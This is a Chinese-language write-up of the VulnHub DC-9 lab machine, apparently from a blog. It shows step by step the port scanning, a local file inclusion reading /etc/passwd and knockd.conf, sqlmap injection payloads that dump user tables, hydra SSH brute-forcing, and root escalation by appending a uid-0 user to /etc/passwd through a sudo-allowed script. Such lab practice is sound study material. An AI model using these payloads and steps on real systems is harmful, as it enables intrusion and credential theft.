vulnhub靶机推荐:dc9(本地文件包含,sql注入,文件覆盖提权)

端口

nmap主机发现
nmap -sn 192.168.45.0/24
​
Nmap scan report for 192.168.45.116
Host is up (0.00020s latency).
​
116是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.45.116 --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT   STATE    SERVICE
22/tcp filtered ssh
80/tcp open     http
​
发现开放两个端口,但是ssh被防火墙阻拦
nmap -sT -sC -sV -O -p22,80 -oA nmap/scan 192.168.45.116
详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
探测结果没有什么有用的,不放出来了,唯一有用的是apache version:2.4.38

立足点

网站信息收集:目录扫描
看到网站主页是include.php 
gobuster扫描加上后缀
​
gobuster dir -u http://192.168.45.116/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html --add-slash
​
扫描结果
/.php/                (Status: 403) [Size: 279]
/index.php/           (Status: 200) [Size: 917]
/.html/               (Status: 403) [Size: 279]
/search.php/          (Status: 200) [Size: 1091]
/icons/               (Status: 403) [Size: 279]
/welcome.php/         (Status: 302) [Size: 0] [--> manage.php]
/results.php/         (Status: 200) [Size: 1056]
/display.php/         (Status: 200) [Size: 2961]
/css/                 (Status: 200) [Size: 933]
/includes/            (Status: 200) [Size: 747]
/logout.php/          (Status: 302) [Size: 0] [--> manage.php]
/config.php/          (Status: 200) [Size: 0]
/manage.php/          (Status: 200) [Size: 1210]
/session.php/         (Status: 302) [Size: 0] [--> manage.php]
/.php/                (Status: 403) [Size: 279]
/.html/               (Status: 403) [Size: 279]
​
进入网址:http://192.168.45.116/session.php/
后如下图,说明已经以admin身份登录,但此时重定向到manage.php
能交互的窗口只有search
能收集到的信息只有File does not exist

web漏洞探测(lfi漏洞发现)

看到File does not exist,是否服务器在本地读取了什么文件,采用常用方式传递参数?file=../../../../../../../etc/passwd,发现本地文件包含lfi漏洞,能读取服务器敏感文件/etc/passwd

因为ssh端口被过滤,看看是否能够通过knock命令控制防火墙让ssh端口开放不被过滤

首先要查看knock的配置文件,寻找服务器对knock的配置,其配置存放在/etc/knockd下,通过lfi漏洞查看

访问http://192.168.45.116/manage.php?file=../../../../../../../etc/knockd.conf
查看到
[openSSH]
    sequence    = 7469,8475,9842
    seq_timeout = 25
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn
​
[closeSSH]
    sequence    = 9842,8475,7469
    seq_timeout = 25
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn
​
解析配置
    按7469,8475,9842顺序knock端口会触发开放ssh命令
    按9842,8475,7469顺序knock端口会触发过滤ssh命令
port knocking是服务器管理防火墙的一种方式,它以十分隐秘的方式让特定人员对服务器进行配置
如上的场景是管理员通过隐秘的方式控制着ssh端口的防火墙状态
sql注入漏洞的发现和利用

利用以上漏洞后,发现除了search没有其他可交互的地方(如下图),尝试sql注入

sqlmap尝试扫一下,利用burpsuit抓包,通过文件扫描,以下是raj文件

POST /results.php HTTP/1.1
Host: 192.168.45.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.45.116
Connection: close
Referer: http://192.168.45.116/search.php
Cookie: PHPSESSID=40596pdfu8ifkv0msqcfhcos5p
Upgrade-Insecure-Requests: 1
​
search=gf
​

开始跑sqlmap,一下就扫出来

sqlmap -r raj --dbs --batch
解析:
-r:指定文件
--dbs:如果可以注入,枚举出所有的库
--batch:选择不交互,按默认选项扫描
​
漏洞:
---
Parameter: search (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=gf' AND (SELECT 6473 FROM (SELECT(SLEEP(5)))sevG) AND 'tOZA'='tOZA
​
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: search=gf' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x717a767871,0x544a5975436e77545a697767774e66534f7a6c437951536f43436453667478586d55756c775a754e,0x717a627071),NULL-- -
---
​
版本信息:
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
​
数据库:
available databases [3]:
[*] information_schema
[*] Staff
[*] users

查询 staff 和 users数据库所有信息

sqlmap -r raj -D Staff --dump-all --batch
sqlmap -r raj -D users --dump-all --batch
有users表的信息和Staff表的信息
​
users表:
+--------+----------------------------------+----------+
| UserID | Password                         | Username |
+--------+----------------------------------+----------+
| 1      | 856f5de590ef37314e7c3bdf6f8a66dc | admin    |
+--------+----------------------------------+----------+
md5解密找到admin密码,不过已经不重要因为我们之前已经用admin登陆了

将所有Staff表信息复制到all-users中,如下图

收集所有密码和用户分别到passwd.txt中和username.txt中,方便hydra的ssh爆破

cat all_users | awk -F '|' {'print$4'} | awk -F ' ' {'print$1'} > passwd.txt
​
cat all_users | awk -F '|' {'print$6'} | awk -F ' ' {'print$1'} > username.txt
hydra爆破
hydra -L username.txt -P passwd.txt 192.168.45.116 ssh
​
发现3个用户可以登录
[22][ssh] host: 192.168.45.116   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.45.116   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.45.116   login: janitor   password: Ilovepeepee
​

提权

依次登录三个用户,都不能使用sudo -l 和 suid提权
但是看见janitor用户的目录下有隐藏文件
​
janitor@dc-9:~$ ls -la
total 16
drwx------  4 janitor janitor 4096 Sep  7 14:08 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Sep  7 14:08 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
​
打开.secrets-for-putin目录发现存放另外密码的文件
-rwx------ 1 janitor janitor   66 Dec 29  2019 passwords-found-on-post-it-notes.txt

拷贝新的密码文件到kali再一次爆破(这里将这个文件重命名为new-passwd)

hydra -L username.txt -P new-passwd 192.168.45.116 ssh
​
爆破出新用户
[22][ssh] host: 192.168.45.116   login: fredf   password: B4-Tru3-001

ssh登录探测此用户的权限

发现此用户可以使用sudo -l
​
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
​
User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test
​

能够以root权限调用/opt/devstuff/dist/test/test文件,允许一下

fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test
Usage: python test.py read append
​
提示说使用test.py进行read操作,推测test调用了test.py
​
strings /opt/devstuff/dist/test/test | grep Usage
扫描test文件发现没有Usage: python test.py read append字符串,说明确实是调用了外部test.py脚本

查询test.py脚本,并观看内容

find / -type f -name test.py 2>/dev/null
​
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py
​
cat /opt/devstuff/test.py
​
内容如下:
#!/usr/bin/python
​
import sys
​
if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)
​
else :
    f = open(sys.argv[1], "r")
    output = (f.read())
​
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()
​
解析:
python脚本读取一个文件后写入指定路径:test.py [read file] [write_file]
使用test调用时:test [read file] [write_file]

sudo利用

使用sudo调用test,test又调用脚本test.py,test.py也具有了root权限(在root进程中)
​
test.py的作用是覆盖文件,那么我们构造/etc/passwd恶意文件并覆盖原有的恶意文件我们就能以恶意用户登录
​
创建一个用户(hack用户,hack123密码)
openssl passwd -1 -salt hack hack123
密码hash后:$1$hack$WTn0dk2QjNeKfl.DHOUue0
​
构造恶意登录凭据和恶意/etc/passwd文件
cat /etc/passwd > /tmp/passwd
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root:/bin/bash' >> /tmp/passwd         # 将hack加入root组
​
备份源文件
cat /etc/passwd > /etc/passwd.tmp
​
恶意文件覆盖源文件
sudo test /tmp/passwd /etc/passwd

使用hack用户登录

ssh hack@192.168.45.116
password:hack123
​
root权限
  • 23
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值